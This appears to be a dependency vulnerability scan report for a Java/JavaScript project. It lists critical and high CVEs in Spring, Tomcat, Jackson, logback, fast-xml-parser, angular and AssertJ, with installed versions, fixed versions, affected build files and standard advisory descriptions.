CVE-2016-1000027 - org.springframework:spring-web

Status: CONTINUED

Severity: CRITICAL

Installed Version: 5.3.39

Fixed Version: 6.0.0

Target: qa/integration-tests-engine/pom.xml

Title: spring: HttpInvokerServiceExporter readRemoteInvocation method untrusted java deserialization

Description:
Pivotal Spring Framework through 5.3.16 suffers from a potential remote code execution (RCE) issue if used for Java deserialization of untrusted data. Depending on how the library is implemented within a product, this issue may or not occur, and authentication may be required. NOTE: the vendor's position is that untrusted data is not an intended use case. The product's behavior will not be changed because some users rely on deserialization of trusted data.

Reference: https://avd.aquasec.com/nvd/cve-2016-1000027

CVE-2019-10202 - org.codehaus.jackson:jackson-mapper-asl

Status: CONTINUED

Severity: CRITICAL

Installed Version: 1.9.11

Fixed Version:

Target: qa/performance-tests-engine/pom.xml

Title: codehaus: incomplete fix for unsafe deserialization in jackson-databind vulnerabilities

Description:
A series of deserialization vulnerabilities have been discovered in Codehaus 1.9.x implemented in EAP 7. This CVE fixes CVE-2017-17485, CVE-2017-7525, CVE-2017-15095, CVE-2018-5968, CVE-2018-7489, CVE-2018-1000873, CVE-2019-12086 reported for FasterXML jackson-databind by implementing a whitelist approach that will mitigate these vulnerabilities and future ones alike.

Reference: https://avd.aquasec.com/nvd/cve-2019-10202

CVE-2025-7783 - form-data

Status: CONTINUED

Severity: CRITICAL

Installed Version: 4.0.0

Fixed Version: 2.5.4, 3.0.4, 4.0.4

Target: webapps/frontend/package-lock.json

Title: Use of Insufficiently Random Values vulnerability in form-data allows ...

Description:
Use of Insufficiently Random Values vulnerability in form-data allows HTTP Parameter Pollution (HPP). This vulnerability is associated with program files lib/form_data.Js.

This issue affects form-data: < 2.5.4, 3.0.0 - 3.0.3, 4.0.0 - 4.0.3.

Reference: https://avd.aquasec.com/nvd/cve-2025-7783

CVE-2026-22732 - org.springframework.security:spring-security-web

Status: CONTINUED

Severity: CRITICAL

Installed Version: 6.5.3

Fixed Version: 6.5.9, 7.0.4

Target: spring-boot-starter/starter-security/pom.xml

Title: Spring Security: Spring Security: Security policy bypass and information disclosure due to unwritten HTTP headers

Description:
When applications specify HTTP response headers for servlet applications using Spring Security, there is the possibility that the HTTP Headers will not be written. 
This issue affects Spring Security Servlet applications using lazy (default) writing of HTTP Headers:

: from 5.7.0 through 5.7.21, from 5.8.0 through 5.8.23, from 6.3.0 through 6.3.14, from 6.4.0 through 6.4.14, from 6.5.0 through 6.5.8, from 7.0.0 through 7.0.3.

Reference: https://avd.aquasec.com/nvd/cve-2026-22732

CVE-2026-25896 - fast-xml-parser

Status: CONTINUED

Severity: CRITICAL

Installed Version: 4.3.4

Fixed Version: 5.3.5, 4.5.4

Target: webapps/frontend/package-lock.json

Title: fast-xml-parser: fast-xml-parser: Cross-Site Scripting (XSS) due to improper DOCTYPE entity handling

Description:
fast-xml-parser allows users to validate XML, parse XML to JS object, or build XML from JS object without C/C++ based libraries and no callback. From 4.1.3to before 5.3.5, a dot (.) in a DOCTYPE entity name is treated as a regex wildcard during entity replacement, allowing an attacker to shadow built-in XML entities (&lt;, &gt;, &amp;, &quot;, &apos;) with arbitrary values. This bypasses entity encoding and leads to XSS when parsed output is rendered. This vulnerability is fixed in 5.3.5.

Reference: https://avd.aquasec.com/nvd/cve-2026-25896

CVE-2026-25896 - fast-xml-parser

Status: CONTINUED

Severity: CRITICAL

Installed Version: 4.5.3

Fixed Version: 5.3.5, 4.5.4

Target: engine-rest/docs/package-lock.json

Title: fast-xml-parser: fast-xml-parser: Cross-Site Scripting (XSS) due to improper DOCTYPE entity handling

Description:
fast-xml-parser allows users to validate XML, parse XML to JS object, or build XML from JS object without C/C++ based libraries and no callback. From 4.1.3to before 5.3.5, a dot (.) in a DOCTYPE entity name is treated as a regex wildcard during entity replacement, allowing an attacker to shadow built-in XML entities (&lt;, &gt;, &amp;, &quot;, &apos;) with arbitrary values. This bypasses entity encoding and leads to XSS when parsed output is rendered. This vulnerability is fixed in 5.3.5.

Reference: https://avd.aquasec.com/nvd/cve-2026-25896

CVE-2026-29145 - org.apache.tomcat:tomcat

Status: CONTINUED

Severity: CRITICAL

Installed Version: 10.1.43

Fixed Version: 9.0.116, 10.1.53, 11.0.20

Target: distro/tomcat/assembly/pom.xml

Title: Apache Tomcat: Apache Tomcat: Authentication bypass due to CLIENT_CERT soft fail misconfiguration

Description:
CLIENT_CERT authentication does not fail as expected for some scenarios when soft fail is disabled vulnerability in Apache Tomcat, Apache Tomcat Native.

This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.18, from 10.1.0-M7 through 10.1.52, from 9.0.83 through 9.0.115; Apache Tomcat Native: from 1.1.23 through 1.1.34, from 1.2.0 through 1.2.39, from 1.3.0 through 1.3.6, from 2.0.0 through 2.0.13.

Users are recommended to upgrade to version Tomcat Native 1.3.7 or 2.0.14 and Tomcat 11.0.20, 10.1.53 and 9.0.116, which fix the issue.

Reference: https://avd.aquasec.com/nvd/cve-2026-29145

CVE-2026-41293 - org.apache.tomcat.embed:tomcat-embed-core

Status: CONTINUED

Severity: CRITICAL

Installed Version: 10.1.44

Fixed Version: 9.0.118, 10.1.55, 11.0.22

Target: distro/run/core/pom.xml

Title: Improper Input Validation vulnerability in Apache Tomcat. This issue ...

Description:
Improper Input Validation vulnerability in Apache Tomcat.

This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.21, from 10.1.0-M1 through 10.1.54, from 9.0.0.M1 through 9.0.117, from 10.0.0-M1 through 10.0.27.
Older, end of support versions may also be affected.

Users are recommended to upgrade to version [FIXED_VERSION], which fixes the issue.

Reference: https://avd.aquasec.com/nvd/cve-2026-41293

CVE-2026-41293 - org.apache.tomcat.embed:tomcat-embed-core

Status: CONTINUED

Severity: CRITICAL

Installed Version: 10.1.44

Fixed Version: 9.0.118, 10.1.55, 11.0.22

Target: spring-boot-starter/starter-qa/integration-test-request-scope/pom.xml

Title: Improper Input Validation vulnerability in Apache Tomcat. This issue ...

Description:
Improper Input Validation vulnerability in Apache Tomcat.

This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.21, from 10.1.0-M1 through 10.1.54, from 9.0.0.M1 through 9.0.117, from 10.0.0-M1 through 10.0.27.
Older, end of support versions may also be affected.

Users are recommended to upgrade to version [FIXED_VERSION], which fixes the issue.

Reference: https://avd.aquasec.com/nvd/cve-2026-41293

CVE-2026-41293 - org.apache.tomcat.embed:tomcat-embed-core

Status: CONTINUED

Severity: CRITICAL

Installed Version: 10.1.44

Fixed Version: 9.0.118, 10.1.55, 11.0.22

Target: spring-boot-starter/starter-webapp-core/pom.xml

Title: Improper Input Validation vulnerability in Apache Tomcat. This issue ...

Description:
Improper Input Validation vulnerability in Apache Tomcat.

This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.21, from 10.1.0-M1 through 10.1.54, from 9.0.0.M1 through 9.0.117, from 10.0.0-M1 through 10.0.27.
Older, end of support versions may also be affected.

Users are recommended to upgrade to version [FIXED_VERSION], which fixes the issue.

Reference: https://avd.aquasec.com/nvd/cve-2026-41293

CVE-2026-41293 - org.apache.tomcat:tomcat

Status: CONTINUED

Severity: CRITICAL

Installed Version: 10.1.43

Fixed Version: 9.0.118, 10.1.55, 11.0.22

Target: distro/tomcat/assembly/pom.xml

Title: Improper Input Validation vulnerability in Apache Tomcat. This issue ...

Description:
Improper Input Validation vulnerability in Apache Tomcat.

This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.21, from 10.1.0-M1 through 10.1.54, from 9.0.0.M1 through 9.0.117, from 10.0.0-M1 through 10.0.27.
Older, end of support versions may also be affected.

Users are recommended to upgrade to version [FIXED_VERSION], which fixes the issue.

Reference: https://avd.aquasec.com/nvd/cve-2026-41293

CVE-2026-43512 - org.apache.tomcat.embed:tomcat-embed-core

Status: CONTINUED

Severity: CRITICAL

Installed Version: 10.1.44

Fixed Version: 9.0.118, 10.1.55, 11.0.22

Target: distro/run/core/pom.xml

Title: DEPRECATED: Authentication Bypass Issues vulnerability in digest authe ...

Description:
DEPRECATED: Authentication Bypass Issues vulnerability in digest authentication in Apache Tomcat.

This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.21, from 10.1.0-M1 through 10.1.54, from 9.0.0.M1 through 9.0.117, from 8.5.0 through 8.5.100, from before 7.0.0.
Older unsupported versions any also be affect

Users are recommended to upgrade to version 11.0.22, 10.1.55 or 9.0.118 which fix the issue.

Reference: https://avd.aquasec.com/nvd/cve-2026-43512

CVE-2026-43512 - org.apache.tomcat.embed:tomcat-embed-core

Status: CONTINUED

Severity: CRITICAL

Installed Version: 10.1.44

Fixed Version: 9.0.118, 10.1.55, 11.0.22

Target: spring-boot-starter/starter-qa/integration-test-request-scope/pom.xml

Title: DEPRECATED: Authentication Bypass Issues vulnerability in digest authe ...

Description:
DEPRECATED: Authentication Bypass Issues vulnerability in digest authentication in Apache Tomcat.

This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.21, from 10.1.0-M1 through 10.1.54, from 9.0.0.M1 through 9.0.117, from 8.5.0 through 8.5.100, from before 7.0.0.
Older unsupported versions any also be affect

Users are recommended to upgrade to version 11.0.22, 10.1.55 or 9.0.118 which fix the issue.

Reference: https://avd.aquasec.com/nvd/cve-2026-43512

CVE-2026-43512 - org.apache.tomcat.embed:tomcat-embed-core

Status: CONTINUED

Severity: CRITICAL

Installed Version: 10.1.44

Fixed Version: 9.0.118, 10.1.55, 11.0.22

Target: spring-boot-starter/starter-webapp-core/pom.xml

Title: DEPRECATED: Authentication Bypass Issues vulnerability in digest authe ...

Description:
DEPRECATED: Authentication Bypass Issues vulnerability in digest authentication in Apache Tomcat.

This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.21, from 10.1.0-M1 through 10.1.54, from 9.0.0.M1 through 9.0.117, from 8.5.0 through 8.5.100, from before 7.0.0.
Older unsupported versions any also be affect

Users are recommended to upgrade to version 11.0.22, 10.1.55 or 9.0.118 which fix the issue.

Reference: https://avd.aquasec.com/nvd/cve-2026-43512

CVE-2026-43512 - org.apache.tomcat:tomcat

Status: CONTINUED

Severity: CRITICAL

Installed Version: 10.1.43

Fixed Version: 9.0.118, 10.1.55, 11.0.22

Target: distro/tomcat/assembly/pom.xml

Title: DEPRECATED: Authentication Bypass Issues vulnerability in digest authe ...

Description:
DEPRECATED: Authentication Bypass Issues vulnerability in digest authentication in Apache Tomcat.

This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.21, from 10.1.0-M1 through 10.1.54, from 9.0.0.M1 through 9.0.117, from 8.5.0 through 8.5.100, from before 7.0.0.
Older unsupported versions any also be affect

Users are recommended to upgrade to version 11.0.22, 10.1.55 or 9.0.118 which fix the issue.

Reference: https://avd.aquasec.com/nvd/cve-2026-43512

CVE-2026-43515 - org.apache.tomcat.embed:tomcat-embed-core

Status: CONTINUED

Severity: CRITICAL

Installed Version: 10.1.44

Fixed Version: 9.0.118, 10.1.55, 11.0.22

Target: distro/run/core/pom.xml

Title: Improper Authorization vulnerability when multiple method constraints ...

Description:
Improper Authorization vulnerability when multiple method constraints define an HTTP method for the same extension in Apache Tomcat.

This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.21, from 10.1.0-M1 through 10.1.54, from 9.0.0.M1 through 9.0.117, from 8.5.0 through 8.5.100, from 7.0.0 through 7.0.109.

Users are recommended to upgrade to version 11.0.22, 10.1.55 or 9.0.118 which fix the issue.

Reference: https://avd.aquasec.com/nvd/cve-2026-43515

CVE-2026-43515 - org.apache.tomcat.embed:tomcat-embed-core

Status: CONTINUED

Severity: CRITICAL

Installed Version: 10.1.44

Fixed Version: 9.0.118, 10.1.55, 11.0.22

Target: spring-boot-starter/starter-qa/integration-test-request-scope/pom.xml

Title: Improper Authorization vulnerability when multiple method constraints ...

Description:
Improper Authorization vulnerability when multiple method constraints define an HTTP method for the same extension in Apache Tomcat.

This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.21, from 10.1.0-M1 through 10.1.54, from 9.0.0.M1 through 9.0.117, from 8.5.0 through 8.5.100, from 7.0.0 through 7.0.109.

Users are recommended to upgrade to version 11.0.22, 10.1.55 or 9.0.118 which fix the issue.

Reference: https://avd.aquasec.com/nvd/cve-2026-43515

CVE-2026-43515 - org.apache.tomcat.embed:tomcat-embed-core

Status: CONTINUED

Severity: CRITICAL

Installed Version: 10.1.44

Fixed Version: 9.0.118, 10.1.55, 11.0.22

Target: spring-boot-starter/starter-webapp-core/pom.xml

Title: Improper Authorization vulnerability when multiple method constraints ...

Description:
Improper Authorization vulnerability when multiple method constraints define an HTTP method for the same extension in Apache Tomcat.

This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.21, from 10.1.0-M1 through 10.1.54, from 9.0.0.M1 through 9.0.117, from 8.5.0 through 8.5.100, from 7.0.0 through 7.0.109.

Users are recommended to upgrade to version 11.0.22, 10.1.55 or 9.0.118 which fix the issue.

Reference: https://avd.aquasec.com/nvd/cve-2026-43515

CVE-2026-43515 - org.apache.tomcat:tomcat

Status: CONTINUED

Severity: CRITICAL

Installed Version: 10.1.43

Fixed Version: 9.0.118, 10.1.55, 11.0.22

Target: distro/tomcat/assembly/pom.xml

Title: Improper Authorization vulnerability when multiple method constraints ...

Description:
Improper Authorization vulnerability when multiple method constraints define an HTTP method for the same extension in Apache Tomcat.

This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.21, from 10.1.0-M1 through 10.1.54, from 9.0.0.M1 through 9.0.117, from 8.5.0 through 8.5.100, from 7.0.0 through 7.0.109.

Users are recommended to upgrade to version 11.0.22, 10.1.55 or 9.0.118 which fix the issue.

Reference: https://avd.aquasec.com/nvd/cve-2026-43515

CVE-2019-10172 - org.codehaus.jackson:jackson-mapper-asl

Status: CONTINUED

Severity: HIGH

Installed Version: 1.9.11

Fixed Version:

Target: qa/performance-tests-engine/pom.xml

Title: jackson-mapper-asl: XML external entity similar to CVE-2016-3720

Description:
A flaw was found in org.codehaus.jackson:jackson-mapper-asl:1.9.x libraries. XML external entity vulnerabilities similar CVE-2016-3720 also affects codehaus jackson-mapper-asl libraries but in different classes.

Reference: https://avd.aquasec.com/nvd/cve-2019-10172

CVE-2023-6378 - ch.qos.logback:logback-classic

Status: CONTINUED

Severity: HIGH

Installed Version: 1.2.11

Fixed Version: 1.3.12, 1.4.12, 1.2.13

Target: commons/pom.xml

Title: logback: serialization vulnerability in logback receiver

Description:
A serialization vulnerability in logback receiver component part of
logback version 1.4.11 allows an attacker to mount a Denial-Of-Service
attack by sending poisoned data.

Reference: https://avd.aquasec.com/nvd/cve-2023-6378

CVE-2023-6378 - ch.qos.logback:logback-classic

Status: CONTINUED

Severity: HIGH

Installed Version: 1.2.11

Fixed Version: 1.3.12, 1.4.12, 1.2.13

Target: commons/testing/pom.xml

Title: logback: serialization vulnerability in logback receiver

Description:
A serialization vulnerability in logback receiver component part of
logback version 1.4.11 allows an attacker to mount a Denial-Of-Service
attack by sending poisoned data.

Reference: https://avd.aquasec.com/nvd/cve-2023-6378

CVE-2023-6378 - ch.qos.logback:logback-core

Status: CONTINUED

Severity: HIGH

Installed Version: 1.2.11

Fixed Version: 1.3.12, 1.4.12, 1.2.13

Target: commons/pom.xml

Title: logback: serialization vulnerability in logback receiver

Description:
A serialization vulnerability in logback receiver component part of
logback version 1.4.11 allows an attacker to mount a Denial-Of-Service
attack by sending poisoned data.

Reference: https://avd.aquasec.com/nvd/cve-2023-6378

CVE-2023-6378 - ch.qos.logback:logback-core

Status: CONTINUED

Severity: HIGH

Installed Version: 1.2.11

Fixed Version: 1.3.12, 1.4.12, 1.2.13

Target: commons/testing/pom.xml

Title: logback: serialization vulnerability in logback receiver

Description:
A serialization vulnerability in logback receiver component part of
logback version 1.4.11 allows an attacker to mount a Denial-Of-Service
attack by sending poisoned data.

Reference: https://avd.aquasec.com/nvd/cve-2023-6378

CVE-2024-21490 - angular

Status: CONTINUED

Severity: HIGH

Installed Version: 1.8.2

Fixed Version:

Target: webapps/frontend/package-lock.json

Title: This affects versions of the package angular from 1.3.0. A regular exp ...

Description:
This affects versions of the package angular from 1.3.0. A regular expression used to split the value of the ng-srcset directive is vulnerable to super-linear runtime due to backtracking. With large carefully-crafted input, this can result in catastrophic backtracking and cause a denial of service. **Note:** This package is EOL and will not receive any updates to address this issue. Users should migrate to [@angular/core](https://www.npmjs.com/package/@angular/core).

Reference: https://avd.aquasec.com/nvd/cve-2024-21490

CVE-2025-41248 - org.springframework.security:spring-security-core

Status: CONTINUED

Severity: HIGH

Installed Version: 6.5.3

Fixed Version: 6.4.10, 6.5.4

Target: spring-boot-starter/starter-security/pom.xml

Title: Spring Security annotation detection mechanism has authorization bypass

Description:
The Spring Security annotation detection mechanism may not correctly resolve annotations on methods within type hierarchies with a parameterized super type with unbounded generics. This can be an issue when using @PreAuthorize and other method security annotations, resulting in an authorization bypass.

Your application may be affected by this if you are using Spring Security's @EnableMethodSecurity feature.

You are not affected by this if you are not using @EnableMethodSecurity or if you do not use security annotations on methods in generic superclasses or generic interfaces.

This CVE is published in conjunction with CVE-2025-41249 https://spring.io/security/cve-2025-41249 .

Reference: https://avd.aquasec.com/nvd/cve-2025-41248

CVE-2025-41249 - org.springframework:spring-core

Status: CONTINUED

Severity: HIGH

Installed Version: 6.2.10

Fixed Version: 6.2.11

Target: distro/run/core/pom.xml

Title: The Spring Framework annotation detection mechanism may not correctly ...

Description:
The Spring Framework annotation detection mechanism may not correctly resolve annotations on methods within type hierarchies with a parameterized super type with unbounded generics. This can be an issue if such annotations are used for authorization decisions.

Your application may be affected by this if you are using Spring Security's @EnableMethodSecurity feature.

You are not affected by this if you are not using @EnableMethodSecurity or if you do not use security annotations on methods in generic superclasses or generic interfaces.

This CVE is published in conjunction with CVE-2025-41248 https://spring.io/security/cve-2025-41248 .

Reference: https://avd.aquasec.com/nvd/cve-2025-41249

CVE-2025-41249 - org.springframework:spring-core

Status: CONTINUED

Severity: HIGH

Installed Version: 6.2.10

Fixed Version: 6.2.11

Target: engine/pom.xml

Title: The Spring Framework annotation detection mechanism may not correctly ...

Description:
The Spring Framework annotation detection mechanism may not correctly resolve annotations on methods within type hierarchies with a parameterized super type with unbounded generics. This can be an issue if such annotations are used for authorization decisions.

Your application may be affected by this if you are using Spring Security's @EnableMethodSecurity feature.

You are not affected by this if you are not using @EnableMethodSecurity or if you do not use security annotations on methods in generic superclasses or generic interfaces.

This CVE is published in conjunction with CVE-2025-41248 https://spring.io/security/cve-2025-41248 .

Reference: https://avd.aquasec.com/nvd/cve-2025-41249

CVE-2025-41249 - org.springframework:spring-core

Status: CONTINUED

Severity: HIGH

Installed Version: 6.2.10

Fixed Version: 6.2.11

Target: qa/integration-tests-engine-jakarta/pom.xml

Title: The Spring Framework annotation detection mechanism may not correctly ...

Description:
The Spring Framework annotation detection mechanism may not correctly resolve annotations on methods within type hierarchies with a parameterized super type with unbounded generics. This can be an issue if such annotations are used for authorization decisions.

Your application may be affected by this if you are using Spring Security's @EnableMethodSecurity feature.

You are not affected by this if you are not using @EnableMethodSecurity or if you do not use security annotations on methods in generic superclasses or generic interfaces.

This CVE is published in conjunction with CVE-2025-41248 https://spring.io/security/cve-2025-41248 .

Reference: https://avd.aquasec.com/nvd/cve-2025-41249

CVE-2025-41249 - org.springframework:spring-core

Status: CONTINUED

Severity: HIGH

Installed Version: 6.2.10

Fixed Version: 6.2.11

Target: spring-boot-starter/starter-client/spring-boot/pom.xml

Title: The Spring Framework annotation detection mechanism may not correctly ...

Description:
The Spring Framework annotation detection mechanism may not correctly resolve annotations on methods within type hierarchies with a parameterized super type with unbounded generics. This can be an issue if such annotations are used for authorization decisions.

Your application may be affected by this if you are using Spring Security's @EnableMethodSecurity feature.

You are not affected by this if you are not using @EnableMethodSecurity or if you do not use security annotations on methods in generic superclasses or generic interfaces.

This CVE is published in conjunction with CVE-2025-41248 https://spring.io/security/cve-2025-41248 .

Reference: https://avd.aquasec.com/nvd/cve-2025-41249

CVE-2025-41249 - org.springframework:spring-core

Status: CONTINUED

Severity: HIGH

Installed Version: 6.2.10

Fixed Version: 6.2.11

Target: spring-boot-starter/starter-qa/integration-test-request-scope/pom.xml

Title: The Spring Framework annotation detection mechanism may not correctly ...

Description:
The Spring Framework annotation detection mechanism may not correctly resolve annotations on methods within type hierarchies with a parameterized super type with unbounded generics. This can be an issue if such annotations are used for authorization decisions.

Your application may be affected by this if you are using Spring Security's @EnableMethodSecurity feature.

You are not affected by this if you are not using @EnableMethodSecurity or if you do not use security annotations on methods in generic superclasses or generic interfaces.

This CVE is published in conjunction with CVE-2025-41248 https://spring.io/security/cve-2025-41248 .

Reference: https://avd.aquasec.com/nvd/cve-2025-41249

CVE-2025-41249 - org.springframework:spring-core

Status: CONTINUED

Severity: HIGH

Installed Version: 6.2.10

Fixed Version: 6.2.11

Target: spring-boot-starter/starter-security/pom.xml

Title: The Spring Framework annotation detection mechanism may not correctly ...

Description:
The Spring Framework annotation detection mechanism may not correctly resolve annotations on methods within type hierarchies with a parameterized super type with unbounded generics. This can be an issue if such annotations are used for authorization decisions.

Your application may be affected by this if you are using Spring Security's @EnableMethodSecurity feature.

You are not affected by this if you are not using @EnableMethodSecurity or if you do not use security annotations on methods in generic superclasses or generic interfaces.

This CVE is published in conjunction with CVE-2025-41248 https://spring.io/security/cve-2025-41248 .

Reference: https://avd.aquasec.com/nvd/cve-2025-41249

CVE-2025-41249 - org.springframework:spring-core

Status: CONTINUED

Severity: HIGH

Installed Version: 6.2.10

Fixed Version: 6.2.11

Target: spring-boot-starter/starter-test/pom.xml

Title: The Spring Framework annotation detection mechanism may not correctly ...

Description:
The Spring Framework annotation detection mechanism may not correctly resolve annotations on methods within type hierarchies with a parameterized super type with unbounded generics. This can be an issue if such annotations are used for authorization decisions.

Your application may be affected by this if you are using Spring Security's @EnableMethodSecurity feature.

You are not affected by this if you are not using @EnableMethodSecurity or if you do not use security annotations on methods in generic superclasses or generic interfaces.

This CVE is published in conjunction with CVE-2025-41248 https://spring.io/security/cve-2025-41248 .

Reference: https://avd.aquasec.com/nvd/cve-2025-41249

CVE-2025-41249 - org.springframework:spring-core

Status: CONTINUED

Severity: HIGH

Installed Version: 6.2.10

Fixed Version: 6.2.11

Target: spring-boot-starter/starter-webapp-core/pom.xml

Title: The Spring Framework annotation detection mechanism may not correctly ...

Description:
The Spring Framework annotation detection mechanism may not correctly resolve annotations on methods within type hierarchies with a parameterized super type with unbounded generics. This can be an issue if such annotations are used for authorization decisions.

Your application may be affected by this if you are using Spring Security's @EnableMethodSecurity feature.

You are not affected by this if you are not using @EnableMethodSecurity or if you do not use security annotations on methods in generic superclasses or generic interfaces.

This CVE is published in conjunction with CVE-2025-41248 https://spring.io/security/cve-2025-41248 .

Reference: https://avd.aquasec.com/nvd/cve-2025-41249

CVE-2025-41249 - org.springframework:spring-core

Status: CONTINUED

Severity: HIGH

Installed Version: 6.2.10

Fixed Version: 6.2.11

Target: spring-boot-starter/starter/pom.xml

Title: The Spring Framework annotation detection mechanism may not correctly ...

Description:
The Spring Framework annotation detection mechanism may not correctly resolve annotations on methods within type hierarchies with a parameterized super type with unbounded generics. This can be an issue if such annotations are used for authorization decisions.

Your application may be affected by this if you are using Spring Security's @EnableMethodSecurity feature.

You are not affected by this if you are not using @EnableMethodSecurity or if you do not use security annotations on methods in generic superclasses or generic interfaces.

This CVE is published in conjunction with CVE-2025-41248 https://spring.io/security/cve-2025-41248 .

Reference: https://avd.aquasec.com/nvd/cve-2025-41249

CVE-2025-55752 - org.apache.tomcat.embed:tomcat-embed-core

Status: CONTINUED

Severity: HIGH

Installed Version: 10.1.44

Fixed Version: 11.0.11, 10.1.45, 9.0.109

Target: distro/run/core/pom.xml

Title: Relative Path Traversal vulnerability in Apache Tomcat. The fix for b ...

Description:
Relative Path Traversal vulnerability in Apache Tomcat.

The fix for bug 60013 introduced a regression where the rewritten URL was normalized before it was decoded. This introduced the possibility that, for rewrite rules that rewrite query parameters to the URL, an attacker could manipulate the request URI to bypass security constraints including the protection for /WEB-INF/ and /META-INF/. If PUT requests were also enabled then malicious files could be uploaded leading to remote code execution. PUT requests are normally limited to trusted users and it is considered unlikely that PUT requests would be enabled in conjunction with a rewrite that manipulated the URI.



This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.10, from 10.1.0-M1 through 10.1.44, from 9.0.0.M11 through 9.0.108.

The following versions were EOL at the time the CVE was created but are
known to be affected: 8.5.6 though 8.5.100. Other, older, EOL versions may also be affected.
Users are recommended to upgrade to version 11.0.11 or later, 10.1.45 or later or 9.0.109 or later, which fix the issue.

Reference: https://avd.aquasec.com/nvd/cve-2025-55752

CVE-2025-55752 - org.apache.tomcat.embed:tomcat-embed-core

Status: CONTINUED

Severity: HIGH

Installed Version: 10.1.44

Fixed Version: 11.0.11, 10.1.45, 9.0.109

Target: spring-boot-starter/starter-qa/integration-test-request-scope/pom.xml

Title: Relative Path Traversal vulnerability in Apache Tomcat. The fix for b ...

Description:
Relative Path Traversal vulnerability in Apache Tomcat.

The fix for bug 60013 introduced a regression where the rewritten URL was normalized before it was decoded. This introduced the possibility that, for rewrite rules that rewrite query parameters to the URL, an attacker could manipulate the request URI to bypass security constraints including the protection for /WEB-INF/ and /META-INF/. If PUT requests were also enabled then malicious files could be uploaded leading to remote code execution. PUT requests are normally limited to trusted users and it is considered unlikely that PUT requests would be enabled in conjunction with a rewrite that manipulated the URI.



This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.10, from 10.1.0-M1 through 10.1.44, from 9.0.0.M11 through 9.0.108.

The following versions were EOL at the time the CVE was created but are
known to be affected: 8.5.6 though 8.5.100. Other, older, EOL versions may also be affected.
Users are recommended to upgrade to version 11.0.11 or later, 10.1.45 or later or 9.0.109 or later, which fix the issue.

Reference: https://avd.aquasec.com/nvd/cve-2025-55752

CVE-2025-55752 - org.apache.tomcat.embed:tomcat-embed-core

Status: CONTINUED

Severity: HIGH

Installed Version: 10.1.44

Fixed Version: 11.0.11, 10.1.45, 9.0.109

Target: spring-boot-starter/starter-webapp-core/pom.xml

Title: Relative Path Traversal vulnerability in Apache Tomcat. The fix for b ...

Description:
Relative Path Traversal vulnerability in Apache Tomcat.

The fix for bug 60013 introduced a regression where the rewritten URL was normalized before it was decoded. This introduced the possibility that, for rewrite rules that rewrite query parameters to the URL, an attacker could manipulate the request URI to bypass security constraints including the protection for /WEB-INF/ and /META-INF/. If PUT requests were also enabled then malicious files could be uploaded leading to remote code execution. PUT requests are normally limited to trusted users and it is considered unlikely that PUT requests would be enabled in conjunction with a rewrite that manipulated the URI.



This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.10, from 10.1.0-M1 through 10.1.44, from 9.0.0.M11 through 9.0.108.

The following versions were EOL at the time the CVE was created but are
known to be affected: 8.5.6 though 8.5.100. Other, older, EOL versions may also be affected.
Users are recommended to upgrade to version 11.0.11 or later, 10.1.45 or later or 9.0.109 or later, which fix the issue.

Reference: https://avd.aquasec.com/nvd/cve-2025-55752

CVE-2025-55752 - org.apache.tomcat:tomcat

Status: CONTINUED

Severity: HIGH

Installed Version: 10.1.43

Fixed Version: 11.0.11, 10.1.45, 9.0.109

Target: distro/tomcat/assembly/pom.xml

Title: Relative Path Traversal vulnerability in Apache Tomcat. The fix for b ...

Description:
Relative Path Traversal vulnerability in Apache Tomcat.

The fix for bug 60013 introduced a regression where the rewritten URL was normalized before it was decoded. This introduced the possibility that, for rewrite rules that rewrite query parameters to the URL, an attacker could manipulate the request URI to bypass security constraints including the protection for /WEB-INF/ and /META-INF/. If PUT requests were also enabled then malicious files could be uploaded leading to remote code execution. PUT requests are normally limited to trusted users and it is considered unlikely that PUT requests would be enabled in conjunction with a rewrite that manipulated the URI.



This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.10, from 10.1.0-M1 through 10.1.44, from 9.0.0.M11 through 9.0.108.

The following versions were EOL at the time the CVE was created but are
known to be affected: 8.5.6 though 8.5.100. Other, older, EOL versions may also be affected.
Users are recommended to upgrade to version 11.0.11 or later, 10.1.45 or later or 9.0.109 or later, which fix the issue.

Reference: https://avd.aquasec.com/nvd/cve-2025-55752

CVE-2026-24400 - org.assertj:assertj-core

Status: CONTINUED

Severity: HIGH

Installed Version: 3.27.4

Fixed Version: 3.27.7

Target: spring-boot-starter/starter-test/pom.xml

Title: assertj: AssertJ: Information disclosure and denial of service via XML External Entity (XXE)

Description:
AssertJ provides Fluent testing assertions for Java and the Java Virtual Machine (JVM). Starting in version 1.4.0 and prior to version 3.27.7, an XML External Entity (XXE) vulnerability exists in `org.assertj.core.util.xml.XmlStringPrettyFormatter`: the `toXmlDocument(String)` method initializes `DocumentBuilderFactory` with default settings, without disabling DTDs or external entities. This formatter is used by the `isXmlEqualTo(CharSequence)` assertion for `CharSequence` values. An application is vulnerable only when it uses untrusted XML input with either `isXmlEqualTo(CharSequence)` from `org.assertj.core.api.AbstractCharSequenceAssert` or `xmlPrettyFormat(String)` from `org.assertj.core.util.xml.XmlStringPrettyFormatter`. If untrusted XML input is processed by tone of these methods, an attacker couldnread arbitrary local files via `file://` URIs (e.g., `/etc/passwd`, application configuration files); perform Server-Side Request Forgery (SSRF) via HTTP/HTTPS URIs, and/or cause Denial of Service via "Billion Laughs" entity expansion attacks. `isXmlEqualTo(CharSequence)` has been deprecated in favor of XMLUnit in version 3.18.0 and will be removed in version 4.0. Users of affected versions should, in order of preference: replace `isXmlEqualTo(CharSequence)` with XMLUnit, upgrade to version 3.27.7, or avoid using `isXmlEqualTo(CharSequence)` or `XmlStringPrettyFormatter` with untrusted input. `XmlStringPrettyFormatter` has historically been considered a utility for `isXmlEqualTo(CharSequence)` rather than a feature for AssertJ users, so it is deprecated in version 3.27.7 and removed in version 4.0, with no replacement.

